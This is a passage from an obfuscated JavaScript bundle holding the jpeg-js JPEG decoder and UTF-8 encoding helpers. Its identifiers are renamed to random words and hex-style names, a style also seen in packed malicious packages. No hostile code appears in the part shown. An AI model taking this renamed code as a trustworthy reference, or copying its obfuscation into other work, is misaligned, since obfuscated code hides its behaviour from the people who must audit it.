| } while (harsh < wandering["length"] - 2); | |
| blood = 0, wonder = wandering[harsh] << 8 | wandering[harsh + 1]; | |
| if (wonder < 65280) throw new Error("marker was not found"); | |
| if (wonder >= 65488 && wonder <= 65495) harsh += 2; | |
| else break; | |
| } | |
| return harsh - small; | |
| } | |
| function tame(axiomatic, strip) { | |
| const decorous = perpetual; | |
| var dance = [], | |
| collect = strip["blocksPerLine"], | |
| right = strip["blocksPerColumn"], | |
| recognise = collect << 3, | |
| fancy = new Int32Array(64), | |
| sister = new Uint8Array(64); | |
| function cool(tub, obey, piquant) { | |
| const forgetful = decorous; | |
| var sleep = strip["quantizationTable"], | |
| unequaled, | |
| remarkable, | |
| name, | |
| blot, | |
| respect, | |
| provide, | |
| power, | |
| mindless, | |
| whistle, | |
| slip = piquant, | |
| office; | |
| for (office = 0; office < 64; office++) slip[office] = tub[office] * sleep[office]; | |
| for (office = 0; office < 8; ++office) { | |
| var fragile = 8 * office; | |
| if (slip[1 + fragile] == 0 && slip[2 + fragile] == 0 && slip[3 + fragile] == 0 && slip[4 + fragile] == 0 && slip[5 + fragile] == 0 && slip[6 + fragile] == 0 && slip[7 + fragile] == 0) { | |
| whistle = steer * slip[0 + fragile] + 512 >> 10, slip[0 + fragile] = whistle, slip[1 + fragile] = whistle, slip[2 + fragile] = whistle, slip[3 + fragile] = whistle, slip[4 + fragile] = whistle, slip[5 + fragile] = whistle, slip[6 + fragile] = whistle, slip[7 + fragile] = whistle; | |
| continue; | |
| } | |
| unequaled = steer * slip[0 + fragile] + 128 >> 8, remarkable = steer * slip[4 + fragile] + 128 >> 8, name = slip[2 + fragile], blot = slip[6 + fragile], respect = humdrum * (slip[1 + fragile] - slip[7 + fragile]) + 128 >> 8, mindless = humdrum * (slip[1 + fragile] + slip[7 + fragile]) + 128 >> 8, provide = slip[3 + fragile] << 4, power = slip[5 + fragile] << 4, whistle = unequaled - remarkable + 1 >> 1, unequaled = unequaled + remarkable + 1 >> 1, remarkable = whistle, whistle = name * scandalous + blot * bathe + 128 >> 8, name = name * bathe - blot * scandalous + 128 >> 8, blot = whistle, whistle = respect - power + 1 >> 1, respect = respect + power + 1 >> 1, power = whistle, whistle = mindless + provide + 1 >> 1, provide = mindless - provide + 1 >> 1, mindless = whistle, whistle = unequaled - blot + 1 >> 1, unequaled = unequaled + blot + 1 >> 1, blot = whistle, whistle = remarkable - name + 1 >> 1, remarkable = remarkable + name + 1 >> 1, name = whistle, whistle = respect * electric + mindless * grip + 2048 >> 12, respect = respect * grip - mindless * electric + 2048 >> 12, mindless = whistle, whistle = provide * exist + power * decisive + 2048 >> 12, provide = provide * decisive - power * exist + 2048 >> 12, power = whistle, slip[0 + fragile] = unequaled + mindless, slip[7 + fragile] = unequaled - mindless, slip[1 + fragile] = remarkable + power, slip[6 + fragile] = remarkable - power, slip[2 + fragile] = name + provide, slip[5 + fragile] = name - provide, slip[3 + fragile] = blot + respect, slip[4 + fragile] = blot - respect; | |
| } | |
| for (office = 0; office < 8; ++office) { | |
| var cute = office; | |
| if (slip[1 * 8 + cute] == 0 && slip[2 * 8 + cute] == 0 && slip[3 * 8 + cute] == 0 && slip[4 * 8 + cute] == 0 && slip[5 * 8 + cute] == 0 && slip[6 * 8 + cute] == 0 && slip[7 * 8 + cute] == 0) { | |
| whistle = steer * piquant[office + 0] + 8192 >> 14, slip[0 * 8 + cute] = whistle, slip[1 * 8 + cute] = whistle, slip[2 * 8 + cute] = whistle, slip[3 * 8 + cute] = whistle, slip[4 * 8 + cute] = whistle, slip[5 * 8 + cute] = whistle, slip[6 * 8 + cute] = whistle, slip[7 * 8 + cute] = whistle; | |
| continue; | |
| } | |
| unequaled = steer * slip[0 * 8 + cute] + 2048 >> 12, remarkable = steer * slip[4 * 8 + cute] + 2048 >> 12, name = slip[2 * 8 + cute], blot = slip[6 * 8 + cute], respect = humdrum * (slip[1 * 8 + cute] - slip[7 * 8 + cute]) + 2048 >> 12, mindless = humdrum * (slip[1 * 8 + cute] + slip[7 * 8 + cute]) + 2048 >> 12, provide = slip[3 * 8 + cute], power = slip[5 * 8 + cute], whistle = unequaled - remarkable + 1 >> 1, unequaled = unequaled + remarkable + 1 >> 1, remarkable = whistle, whistle = name * scandalous + blot * bathe + 2048 >> 12, name = name * bathe - blot * scandalous + 2048 >> 12, blot = whistle, whistle = respect - power + 1 >> 1, respect = respect + power + 1 >> 1, power = whistle, whistle = mindless + provide + 1 >> 1, provide = mindless - provide + 1 >> 1, mindless = whistle, whistle = unequaled - blot + 1 >> 1, unequaled = unequaled + blot + 1 >> 1, blot = whistle, whistle = remarkable - name + 1 >> 1, remarkable = remarkable + name + 1 >> 1, name = whistle, whistle = respect * electric + mindless * grip + 2048 >> 12, respect = respect * grip - mindless * electric + 2048 >> 12, mindless = whistle, whistle = provide * exist + power * decisive + 2048 >> 12, provide = provide * decisive - power * exist + 2048 >> 12, power = whistle, slip[0 * 8 + cute] = unequaled + mindless, slip[7 * 8 + cute] = unequaled - mindless, slip[1 * 8 + cute] = remarkable + power, slip[6 * 8 + cute] = remarkable - power, slip[2 * 8 + cute] = name + provide, slip[5 * 8 + cute] = name - provide, slip[3 * 8 + cute] = blot + respect, slip[4 * 8 + cute] = blot - respect; | |
| } | |
| for (office = 0; office < 64; ++office) { | |
| var belong = 128 + (slip[office] + 8 >> 4); | |
| obey[office] = belong < 0 ? 0 : belong > 255 ? 255 : belong; | |
| } | |
| } | |
| sheep(recognise * right * 8); | |
| var angle, kiss; | |
| for (var thoughtful = 0; thoughtful < right; thoughtful++) { | |
| var unwritten = thoughtful << 3; | |
| for (angle = 0; angle < 8; angle++) dance["push"](new Uint8Array(recognise)); | |
| for (var goofy = 0; goofy < collect; goofy++) { | |
| cool(strip["blocks"][thoughtful][goofy], sister, fancy); | |
| var signal = 0, | |
| acceptable = goofy << 3; | |
| for (kiss = 0; kiss < 8; kiss++) { | |
| var bedroom = dance[unwritten + kiss]; | |
| for (angle = 0; angle < 8; angle++) bedroom[acceptable + angle] = sister[signal++]; | |
| } | |
| } | |
| } | |
| return dance; | |
| } | |
| function quilt(unkempt) { | |
| return unkempt < 0 ? 0 : unkempt > 255 ? 255 : unkempt; | |
| } | |
| action["prototype"] = { | |
| "load": function natural(beam) { | |
| const hospital = improve; | |
| var broken = new XMLHttpRequest(); | |
| broken["open"]("GET", beam, !![]), broken["responseType"] = "arraybuffer", broken["onload"] = function () { | |
| const command = hospital; | |
| var angry = new Uint8Array(broken["response"] || broken["mozResponseArrayBuffer"]); | |
| this["parse"](angry); | |
| if (this["onload"]) this["onload"](); | |
| } ["bind"](this), broken["send"](null); | |
| }, | |
| "parse": function maddening(teaching) { | |
| const whirl = improve; | |
| var wire = this["opts"]["maxResolutionInMP"] * 1000 * 1000, | |
| ruddy = 0, | |
| miss = teaching["length"]; | |
| function living() { | |
| var sigh = teaching[ruddy] << 8 | teaching[ruddy + 1]; | |
| return ruddy += 2, sigh; | |
| } | |
| function challenge() { | |
| const property = whirl; | |
| var expensive = living(), | |
| mean = teaching["subarray"](ruddy, ruddy + expensive - 2); | |
| return ruddy += mean["length"], mean; | |
| } | |
| function ripe(bat) { | |
| const rabbits = whirl; | |
| var poke = 1, | |
| trip = 1, | |
| annoy, | |
| able; | |
| for (able in bat["components"]) { | |
| if (bat["components"]["hasOwnProperty"](able)) { | |
| annoy = bat["components"][able]; | |
| if (poke < annoy["h"]) poke = annoy["h"]; | |
| if (trip < annoy["v"]) trip = annoy["v"]; | |
| } | |
| } | |
| var monkey = Math["ceil"](bat["samplesPerLine"] / 8 / poke), | |
| stop = Math["ceil"](bat["scanLines"] / 8 / trip); | |
| for (able in bat["components"]) { | |
| if (bat["components"]["hasOwnProperty"](able)) { | |
| annoy = bat["components"][able]; | |
| var worthless = Math["ceil"](Math["ceil"](bat["samplesPerLine"] / 8) * annoy["h"] / poke), | |
| savory = Math["ceil"](Math["ceil"](bat["scanLines"] / 8) * annoy["v"] / trip), | |
| weary = monkey * annoy["h"], | |
| colorful = stop * annoy["v"], | |
| ducks = colorful * weary, | |
| time = []; | |
| sheep(ducks * 256); | |
| for (var slimy = 0; slimy < colorful; slimy++) { | |
| var travel = []; | |
| for (var aware = 0; aware < weary; aware++) travel["push"](new Int32Array(64)); | |
| time["push"](travel); | |
| } | |
| annoy["blocksPerLine"] = worthless, annoy["blocksPerColumn"] = savory, annoy["blocks"] = time; | |
| } | |
| } | |
| bat["maxH"] = poke, bat["maxV"] = trip, bat["mcusPerLine"] = monkey, bat["mcusPerColumn"] = stop; | |
| } | |
| var dry = null, | |
| troubled = null, | |
| queue, | |
| expect, | |
| splendid = [], | |
| unsuitable = [], | |
| workable = [], | |
| middle = [], | |
| evanescent = living(), | |
| zephyr = -1; | |
| this["comments"] = []; | |
| if (evanescent != 65496) throw new Error("SOI not found"); | |
| evanescent = living(); | |
| while (evanescent != 65497) { | |
| var brave, wind; | |
| switch (evanescent) { | |
| case 65280: | |
| break; | |
| case 65504: | |
| case 65505: | |
| case 65506: | |
| case 65507: | |
| case 65508: | |
| case 65509: | |
| case 65510: | |
| case 65511: | |
| case 65512: | |
| case 65513: | |
| case 65514: | |
| case 65515: | |
| case 65516: | |
| case 65517: | |
| case 65518: | |
| case 65519: | |
| case 65534: | |
| var apparatus = challenge(); | |
| if (evanescent === 65534) { | |
| var sand = String["fromCharCode"]["apply"](null, apparatus); | |
| this["comments"]["push"](sand); | |
| } | |
| evanescent === 65504 && apparatus[0] === 74 && apparatus[1] === 70 && apparatus[2] === 73 && apparatus[3] === 70 && apparatus[4] === 0 && (dry = { | |
| "version": { | |
| "major": apparatus[5], | |
| "minor": apparatus[6] | |
| }, | |
| "densityUnits": apparatus[7], | |
| "xDensity": apparatus[8] << 8 | apparatus[9], | |
| "yDensity": apparatus[10] << 8 | apparatus[11], | |
| "thumbWidth": apparatus[12], | |
| "thumbHeight": apparatus[13], | |
| "thumbData": apparatus["subarray"](14, 14 + 3 * apparatus[12] * apparatus[13]) | |
| }); | |
| evanescent === 65505 && apparatus[0] === 69 && apparatus[1] === 120 && apparatus[2] === 105 && apparatus[3] === 102 && apparatus[4] === 0 && (this["exifBuffer"] = apparatus["subarray"](5, apparatus["length"])); | |
| evanescent === 65518 && apparatus[0] === 65 && apparatus[1] === 100 && apparatus[2] === 111 && apparatus[3] === 98 && apparatus[4] === 101 && apparatus[5] === 0 && (troubled = { | |
| "version": apparatus[6], | |
| "flags0": apparatus[7] << 8 | apparatus[8], | |
| "flags1": apparatus[9] << 8 | apparatus[10], | |
| "transformCode": apparatus[11] | |
| }); | |
| break; | |
| case 65499: | |
| var complete = living(), | |
| crack = complete + ruddy - 2; | |
| while (ruddy < crack) { | |
| var homeless = teaching[ruddy++]; | |
| sheep(64 * 4); | |
| var disappear = new Int32Array(64); | |
| if (homeless >> 4 === 0) | |
| for (wind = 0; wind < 64; wind++) { | |
| var invincible = unnatural[wind]; | |
| disappear[invincible] = teaching[ruddy++]; | |
| } else { | |
| if (homeless >> 4 === 1) | |
| for (wind = 0; wind < 64; wind++) { | |
| var invincible = unnatural[wind]; | |
| disappear[invincible] = living(); | |
| } else throw new Error("DQT: invalid table spec"); | |
| } | |
| splendid[homeless & 15] = disappear; | |
| } | |
| break; | |
| case 65472: | |
| case 65473: | |
| case 65474: | |
| living(), queue = {}, queue["extended"] = evanescent === 65473, queue["progressive"] = evanescent === 65474, queue["precision"] = teaching[ruddy++], queue["scanLines"] = living(), queue["samplesPerLine"] = living(), queue["components"] = {}, queue["componentsOrder"] = []; | |
| var sedate = queue["scanLines"] * queue["samplesPerLine"]; | |
| if (sedate > wire) { | |
| var test = Math["ceil"]((sedate - wire) / 1000000); | |
| throw new Error("maxResolutionInMP limit exceeded by " + test + "MP"); | |
| } | |
| var rustic = teaching[ruddy++], | |
| steady; | |
| for (brave = 0; brave < rustic; brave++) { | |
| steady = teaching[ruddy]; | |
| var rainstorm = teaching[ruddy + 1] >> 4, | |
| foolish = teaching[ruddy + 1] & 15, | |
| gabby = teaching[ruddy + 2]; | |
| if (rainstorm <= 0 || foolish <= 0) throw new Error("Invalid sampling factor, expected values above 0"); | |
| queue["componentsOrder"]["push"](steady), queue["components"][steady] = { | |
| "h": rainstorm, | |
| "v": foolish, | |
| "quantizationIdx": gabby | |
| }, ruddy += 3; | |
| } | |
| ripe(queue), unsuitable["push"](queue); | |
| break; | |
| case 65476: | |
| var boat = living(); | |
| for (brave = 2; brave < boat;) { | |
| var reward = teaching[ruddy++], | |
| trust = new Uint8Array(16), | |
| tremble = 0; | |
| for (wind = 0; wind < 16; wind++, ruddy++) { | |
| tremble += trust[wind] = teaching[ruddy]; | |
| } | |
| sheep(16 + tremble); | |
| var discreet = new Uint8Array(tremble); | |
| for (wind = 0; wind < tremble; wind++, ruddy++) discreet[wind] = teaching[ruddy]; | |
| brave += 17 + tremble, (reward >> 4 === 0 ? middle : workable)[reward & 15] = rot(trust, discreet); | |
| } | |
| break; | |
| case 65501: | |
| living(), expect = living(); | |
| break; | |
| case 65500: | |
| living(), living(); | |
| break; | |
| case 65498: | |
| var enormous = living(), | |
| settle = teaching[ruddy++], | |
| fit = [], | |
| vessel; | |
| for (brave = 0; brave < settle; brave++) { | |
| vessel = queue["components"][teaching[ruddy++]]; | |
| var parched = teaching[ruddy++]; | |
| vessel["huffmanTableDC"] = middle[parched >> 4], vessel["huffmanTableAC"] = workable[parched & 15], fit["push"](vessel); | |
| } | |
| var desire = teaching[ruddy++], | |
| practise = teaching[ruddy++], | |
| terrific = teaching[ruddy++], | |
| imminent = handsomely(teaching, ruddy, queue, fit, expect, desire, practise, terrific >> 4, terrific & 15, this["opts"]); | |
| ruddy += imminent; | |
| break; | |
| case 65535: | |
| teaching[ruddy] !== 255 && ruddy--; | |
| break; | |
| default: | |
| if (teaching[ruddy - 3] == 255 && teaching[ruddy - 2] >= 192 && teaching[ruddy - 2] <= 254) { | |
| ruddy -= 3; | |
| break; | |
| } else { | |
| if (evanescent === 224 || evanescent == 225) { | |
| if (zephyr !== -1) throw new Error("first unknown JPEG marker at offset " + zephyr["toString"](16) + ", second unknown JPEG marker " + evanescent["toString"](16) + " at offset " + (ruddy - 1)["toString"](16)); | |
| zephyr = ruddy - 1; | |
| const fuzzy = living(); | |
| if (teaching[ruddy + fuzzy - 2] === 255) { | |
| ruddy += fuzzy - 2; | |
| break; | |
| } | |
| } | |
| } | |
| throw new Error("unknown JPEG marker " + evanescent["toString"](16)); | |
| } | |
| evanescent = living(); | |
| } | |
| if (unsuitable["length"] != 1) throw new Error("only single frame JPEGs supported"); | |
| for (var brave = 0; brave < unsuitable["length"]; brave++) { | |
| var debt = unsuitable[brave]["components"]; | |
| for (var wind in debt) { | |
| debt[wind]["quantizationTable"] = splendid[debt[wind]["quantizationIdx"]], delete debt[wind]["quantizationIdx"]; | |
| } | |
| } | |
| this["width"] = queue["samplesPerLine"], this["height"] = queue["scanLines"], this["jfif"] = dry, this["adobe"] = troubled, this["components"] = []; | |
| for (var brave = 0; brave < queue["componentsOrder"]["length"]; brave++) { | |
| var vessel = queue["components"][queue["componentsOrder"][brave]]; | |
| this["components"]["push"]({ | |
| "lines": tame(queue, vessel), | |
| "scaleX": vessel["h"] / queue["maxH"], | |
| "scaleY": vessel["v"] / queue["maxV"] | |
| }); | |
| } | |
| }, | |
| "getData": function medical(ugly, industry) { | |
| const run = improve; | |
| var tow = this["width"] / ugly, | |
| raise = this["height"] / industry, | |
| juice, | |
| plant, | |
| range, | |
| unusual, | |
| breakable, | |
| quiet, | |
| early, | |
| _0x503c4, | |
| _0x1fc6e29, | |
| _0x14394e22, | |
| _0x31d1 = 0, | |
| _0x3aa1f14, | |
| _0x0, | |
| _0x161c7, | |
| _0x87dbec5, | |
| _0x687c2b5, | |
| _0x4737fa5, | |
| _0x1, | |
| _0x2d3cb5, | |
| _0x3fcd4, | |
| _0x35da4, | |
| _0x52bf1e0, | |
| _0x38c3 = ugly * industry * this["components"]["length"]; | |
| sheep(_0x38c3); | |
| var _0x3f47a11 = new Uint8Array(_0x38c3); | |
| switch (this["components"]["length"]) { | |
| case 1: | |
| juice = this["components"][0]; | |
| for (_0x14394e22 = 0; _0x14394e22 < industry; _0x14394e22++) { | |
| breakable = juice["lines"][0 | _0x14394e22 * juice["scaleY"] * raise]; | |
| for (_0x1fc6e29 = 0; _0x1fc6e29 < ugly; _0x1fc6e29++) { | |
| _0x3aa1f14 = breakable[0 | _0x1fc6e29 * juice["scaleX"] * tow], _0x3f47a11[_0x31d1++] = _0x3aa1f14; | |
| } | |
| } | |
| break; | |
| case 2: | |
| juice = this["components"][0], plant = this["components"][1]; | |
| for (_0x14394e22 = 0; _0x14394e22 < industry; _0x14394e22++) { | |
| breakable = juice["lines"][0 | _0x14394e22 * juice["scaleY"] * raise], quiet = plant["lines"][0 | _0x14394e22 * plant["scaleY"] * raise]; | |
| for (_0x1fc6e29 = 0; _0x1fc6e29 < ugly; _0x1fc6e29++) { | |
| _0x3aa1f14 = breakable[0 | _0x1fc6e29 * juice["scaleX"] * tow], _0x3f47a11[_0x31d1++] = _0x3aa1f14, _0x3aa1f14 = quiet[0 | _0x1fc6e29 * plant["scaleX"] * tow], _0x3f47a11[_0x31d1++] = _0x3aa1f14; | |
| } | |
| } | |
| break; | |
| case 3: | |
| _0x52bf1e0 = !![]; | |
| if (this["adobe"] && this["adobe"]["transformCode"]) _0x52bf1e0 = !![]; | |
| else { | |
| if (typeof this["opts"]["colorTransform"] !== "undefined") _0x52bf1e0 = !!this["opts"]["colorTransform"]; | |
| } | |
| juice = this["components"][0], plant = this["components"][1], range = this["components"][2]; | |
| for (_0x14394e22 = 0; _0x14394e22 < industry; _0x14394e22++) { | |
| breakable = juice["lines"][0 | _0x14394e22 * juice["scaleY"] * raise], quiet = plant["lines"][0 | _0x14394e22 * plant["scaleY"] * raise], early = range["lines"][0 | _0x14394e22 * range["scaleY"] * raise]; | |
| for (_0x1fc6e29 = 0; _0x1fc6e29 < ugly; _0x1fc6e29++) { | |
| !_0x52bf1e0 ? (_0x2d3cb5 = breakable[0 | _0x1fc6e29 * juice["scaleX"] * tow], _0x3fcd4 = quiet[0 | _0x1fc6e29 * plant["scaleX"] * tow], _0x35da4 = early[0 | _0x1fc6e29 * range["scaleX"] * tow]) : (_0x3aa1f14 = breakable[0 | _0x1fc6e29 * juice["scaleX"] * tow], _0x0 = quiet[0 | _0x1fc6e29 * plant["scaleX"] * tow], _0x161c7 = early[0 | _0x1fc6e29 * range["scaleX"] * tow], _0x2d3cb5 = quilt(_0x3aa1f14 + 1.402 * (_0x161c7 - 128)), _0x3fcd4 = quilt(_0x3aa1f14 - 0.3441363 * (_0x0 - 128) - 0.71413636 * (_0x161c7 - 128)), _0x35da4 = quilt(_0x3aa1f14 + 1.772 * (_0x0 - 128))), _0x3f47a11[_0x31d1++] = _0x2d3cb5, _0x3f47a11[_0x31d1++] = _0x3fcd4, _0x3f47a11[_0x31d1++] = _0x35da4; | |
| } | |
| } | |
| break; | |
| case 4: | |
| if (!this["adobe"]) throw new Error("Unsupported color mode (4 components)"); | |
| _0x52bf1e0 = ![]; | |
| if (this["adobe"] && this["adobe"]["transformCode"]) _0x52bf1e0 = !![]; | |
| else { | |
| if (typeof this["opts"]["colorTransform"] !== "undefined") _0x52bf1e0 = !!this["opts"]["colorTransform"]; | |
| } | |
| juice = this["components"][0], plant = this["components"][1], range = this["components"][2], unusual = this["components"][3]; | |
| for (_0x14394e22 = 0; _0x14394e22 < industry; _0x14394e22++) { | |
| breakable = juice["lines"][0 | _0x14394e22 * juice["scaleY"] * raise], quiet = plant["lines"][0 | _0x14394e22 * plant["scaleY"] * raise], early = range["lines"][0 | _0x14394e22 * range["scaleY"] * raise], _0x503c4 = unusual["lines"][0 | _0x14394e22 * unusual["scaleY"] * raise]; | |
| for (_0x1fc6e29 = 0; _0x1fc6e29 < ugly; _0x1fc6e29++) { | |
| !_0x52bf1e0 ? (_0x687c2b5 = breakable[0 | _0x1fc6e29 * juice["scaleX"] * tow], _0x4737fa5 = quiet[0 | _0x1fc6e29 * plant["scaleX"] * tow], _0x1 = early[0 | _0x1fc6e29 * range["scaleX"] * tow], _0x87dbec5 = _0x503c4[0 | _0x1fc6e29 * unusual["scaleX"] * tow]) : (_0x3aa1f14 = breakable[0 | _0x1fc6e29 * juice["scaleX"] * tow], _0x0 = quiet[0 | _0x1fc6e29 * plant["scaleX"] * tow], _0x161c7 = early[0 | _0x1fc6e29 * range["scaleX"] * tow], _0x87dbec5 = _0x503c4[0 | _0x1fc6e29 * unusual["scaleX"] * tow], _0x687c2b5 = 255 - quilt(_0x3aa1f14 + 1.402 * (_0x161c7 - 128)), _0x4737fa5 = 255 - quilt(_0x3aa1f14 - 0.3441363 * (_0x0 - 128) - 0.71413636 * (_0x161c7 - 128)), _0x1 = 255 - quilt(_0x3aa1f14 + 1.772 * (_0x0 - 128))), _0x3f47a11[_0x31d1++] = 255 - _0x687c2b5, _0x3f47a11[_0x31d1++] = 255 - _0x4737fa5, _0x3f47a11[_0x31d1++] = 255 - _0x1, _0x3f47a11[_0x31d1++] = 255 - _0x87dbec5; | |
| } | |
| } | |
| break; | |
| default: | |
| throw new Error("Unsupported color mode"); | |
| } | |
| return _0x3f47a11; | |
| }, | |
| "copyToImageData": function _0x54bf(_0x34883f5, _0x5767cf5) { | |
| const _0x10 = improve; | |
| var _0x28 = _0x34883f5["width"], | |
| _0x27 = _0x34883f5["height"], | |
| _0x12eb11 = _0x34883f5["data"], | |
| _0x564eac0 = this["getData"](_0x28, _0x27), | |
| _0x32 = 0, | |
| _0x4ad11 = 0, | |
| _0x92da0, | |
| _0x1b0, | |
| _0x51e22e8, | |
| _0x4b918f9, | |
| _0x2ebea3, | |
| _0x297d3, | |
| _0x239de5, | |
| _0x4a68dd6, | |
| _0x34; | |
| switch (this["components"]["length"]) { | |
| case 1: | |
| for (_0x1b0 = 0; _0x1b0 < _0x27; _0x1b0++) { | |
| for (_0x92da0 = 0; _0x92da0 < _0x28; _0x92da0++) { | |
| _0x51e22e8 = _0x564eac0[_0x32++], _0x12eb11[_0x4ad11++] = _0x51e22e8, _0x12eb11[_0x4ad11++] = _0x51e22e8, _0x12eb11[_0x4ad11++] = _0x51e22e8, _0x5767cf5 && (_0x12eb11[_0x4ad11++] = 255); | |
| } | |
| } | |
| break; | |
| case 3: | |
| for (_0x1b0 = 0; _0x1b0 < _0x27; _0x1b0++) { | |
| for (_0x92da0 = 0; _0x92da0 < _0x28; _0x92da0++) { | |
| _0x239de5 = _0x564eac0[_0x32++], _0x4a68dd6 = _0x564eac0[_0x32++], _0x34 = _0x564eac0[_0x32++], _0x12eb11[_0x4ad11++] = _0x239de5, _0x12eb11[_0x4ad11++] = _0x4a68dd6, _0x12eb11[_0x4ad11++] = _0x34, _0x5767cf5 && (_0x12eb11[_0x4ad11++] = 255); | |
| } | |
| } | |
| break; | |
| case 4: | |
| for (_0x1b0 = 0; _0x1b0 < _0x27; _0x1b0++) { | |
| for (_0x92da0 = 0; _0x92da0 < _0x28; _0x92da0++) { | |
| _0x2ebea3 = _0x564eac0[_0x32++], _0x297d3 = _0x564eac0[_0x32++], _0x51e22e8 = _0x564eac0[_0x32++], _0x4b918f9 = _0x564eac0[_0x32++], _0x239de5 = 255 - quilt(_0x2ebea3 * (1 - _0x4b918f9 / 255) + _0x4b918f9), _0x4a68dd6 = 255 - quilt(_0x297d3 * (1 - _0x4b918f9 / 255) + _0x4b918f9), _0x34 = 255 - quilt(_0x51e22e8 * (1 - _0x4b918f9 / 255) + _0x4b918f9), _0x12eb11[_0x4ad11++] = _0x239de5, _0x12eb11[_0x4ad11++] = _0x4a68dd6, _0x12eb11[_0x4ad11++] = _0x34, _0x5767cf5 && (_0x12eb11[_0x4ad11++] = 255); | |
| } | |
| } | |
| break; | |
| default: | |
| throw new Error("Unsupported color mode"); | |
| } | |
| } | |
| }; | |
| var _0x4a4e5 = 0, | |
| _0x5eda4 = 0; | |
| function sheep(_0x3cbbdc3 = 0) { | |
| const _0x9b53c = improve; | |
| var _0x1cab4 = _0x4a4e5 + _0x3cbbdc3; | |
| if (_0x1cab4 > _0x5eda4) { | |
| var _0x41bb3f3 = Math["ceil"]((_0x1cab4 - _0x5eda4) / 1024 / 1024); | |
| throw new Error("maxMemoryUsageInMB limit exceeded by at least " + _0x41bb3f3 + "MB"); | |
| } | |
| _0x4a4e5 = _0x1cab4; | |
| } | |
| return action["resetMaxMemoryUsage"] = function (_0x3fb2) { | |
| _0x4a4e5 = 0, _0x5eda4 = _0x3fb2; | |
| }, action["getBytesAllocated"] = function () { | |
| return _0x4a4e5; | |
| }, action["requestMemoryAllocation"] = sheep, action; | |
| }(); | |
| if (typeof whine !== "undefined") whine["exports"] = _0xdf1e2c4; | |
| else typeof window !== "undefined" && (window["jpeg-js"] = window["jpeg-js"] || {}, window["jpeg-js"]["decode"] = _0xdf1e2c4); | |
| function _0xdf1e2c4(_0x22f5d3, _0x1df2 = {}) { | |
| const _0x3f7d3b2 = request; | |
| var _0xe5ee1b3 = { | |
| "colorTransform": void 0, | |
| "useTArray": ![], | |
| "formatAsRGBA": !![], | |
| "tolerantDecoding": !![], | |
| "maxResolutionInMP": 100, | |
| "maxMemoryUsageInMB": 512 | |
| }, | |
| _0x31e6 = { | |
| ..._0xe5ee1b3, | |
| ..._0x1df2 | |
| }, | |
| _0x1f2 = new Uint8Array(_0x22f5d3), | |
| _0x585f1 = new camera(); | |
| _0x585f1["opts"] = _0x31e6, camera["resetMaxMemoryUsage"](_0x31e6["maxMemoryUsageInMB"] * 1024 * 1024), _0x585f1["parse"](_0x1f2); | |
| var _0x51d2 = _0x31e6["formatAsRGBA"] ? 4 : 3, | |
| _0x22de4a6 = _0x585f1["width"] * _0x585f1["height"] * _0x51d2; | |
| try { | |
| camera["requestMemoryAllocation"](_0x22de4a6); | |
| var _0x259cf4 = { | |
| "width": _0x585f1["width"], | |
| "height": _0x585f1["height"], | |
| "exifBuffer": _0x585f1["exifBuffer"], | |
| "data": _0x31e6["useTArray"] ? new Uint8Array(_0x22de4a6) : Buffer["alloc"](_0x22de4a6) | |
| }; | |
| _0x585f1["comments"]["length"] > 0 && (_0x259cf4["comments"] = _0x585f1["comments"]); | |
| } catch (_0x39) { | |
| if (_0x39 instanceof RangeError) throw new Error("Could not allocate enough memory for the image. Required: " + _0x22de4a6); | |
| if (_0x39 instanceof ReferenceError) { | |
| if (_0x39["message"] === "Buffer is not defined") throw new Error("Buffer is not globally defined in this environment. Consider setting useTArray to true"); | |
| } | |
| throw _0x39; | |
| } | |
| return _0x585f1["copyToImageData"](_0x259cf4, _0x31e6["formatAsRGBA"]), _0x259cf4; | |
| } | |
| } | |
| }), | |
| require_jpeg_js = __commonJS({ | |
| "node_modules/.deno/jpeg-js@0.4.4/node_modules/jpeg-js/index.js"(_0x28fa, _0x5315d2) { | |
| const _0x40 = potato; | |
| var _0x43c6fb3 = require_encoder(), | |
| _0x42 = require_decoder(); | |
| _0x5315d2["exports"] = { | |
| "encode": _0x43c6fb3, | |
| "decode": _0x42 | |
| }; | |
| } | |
| }), | |
| import_node_buffer9 = require("node:buffer"), | |
| import_node_fs8 = __toESM(require("node:fs")), | |
| import_node_path8 = __toESM(require("node:path")), | |
| import_node_process9 = __toESM(require("node:process")); | |
| function utf8Count(_0x3c5b2e5) { | |
| const _0x2a = potato, | |
| _0x10b3 = _0x3c5b2e5["length"]; | |
| let _0x1d6 = 0, | |
| _0x4b6 = 0; | |
| while (_0x4b6 < _0x10b3) { | |
| let _0x3a8 = _0x3c5b2e5["charCodeAt"](_0x4b6++); | |
| if ((_0x3a8 & 4294967168) === 0) { | |
| _0x1d6++; | |
| continue; | |
| } else { | |
| if ((_0x3a8 & 4294965248) === 0) _0x1d6 += 2; | |
| else { | |
| if (_0x3a8 >= 55296 && _0x3a8 <= 56319) { | |
| if (_0x4b6 < _0x10b3) { | |
| const _0x45 = _0x3c5b2e5["charCodeAt"](_0x4b6); | |
| (_0x45 & 64512) === 56320 && (++_0x4b6, _0x3a8 = ((_0x3a8 & 1023) << 10) + (_0x45 & 1023) + 65536); | |
| } | |
| } | |
| (_0x3a8 & 4294901760) === 0 ? _0x1d6 += 3 : _0x1d6 += 4; | |
| } | |
| } | |
| } | |
| return _0x1d6; | |
| } | |
| function utf8EncodeJs(_0x57e5be5, _0x26e9, _0x2ef2d2) { | |
| const _0x522afa2 = potato, | |
| _0x2a0b3 = _0x57e5be5["length"]; | |
| let _0x4a2d9 = _0x2ef2d2, | |
| _0x535e2a7 = 0; | |
| while (_0x535e2a7 < _0x2a0b3) { | |
| let _0x5807af15 = _0x57e5be5["charCodeAt"](_0x535e2a7++); | |
| if ((_0x5807af15 & 4294967168) === 0) { | |
| _0x26e9[_0x4a2d9++] = _0x5807af15; | |
| continue; | |
| } else { | |
| if ((_0x5807af15 & 4294965248) === 0) _0x26e9[_0x4a2d9++] = _0x5807af15 >> 6 & 31 | 192; | |
| else { | |
| if (_0x5807af15 >= 55296 && _0x5807af15 <= 56319) { | |
| if (_0x535e2a7 < _0x2a0b3) { | |
| const _0x48 = _0x57e5be5["charCodeAt"](_0x535e2a7); | |
| (_0x48 & 64512) === 56320 && (++_0x535e2a7, _0x5807af15 = ((_0x5807af15 & 1023) << 10) + (_0x48 & 1023) + 65536); | |
| } | |
| } | |
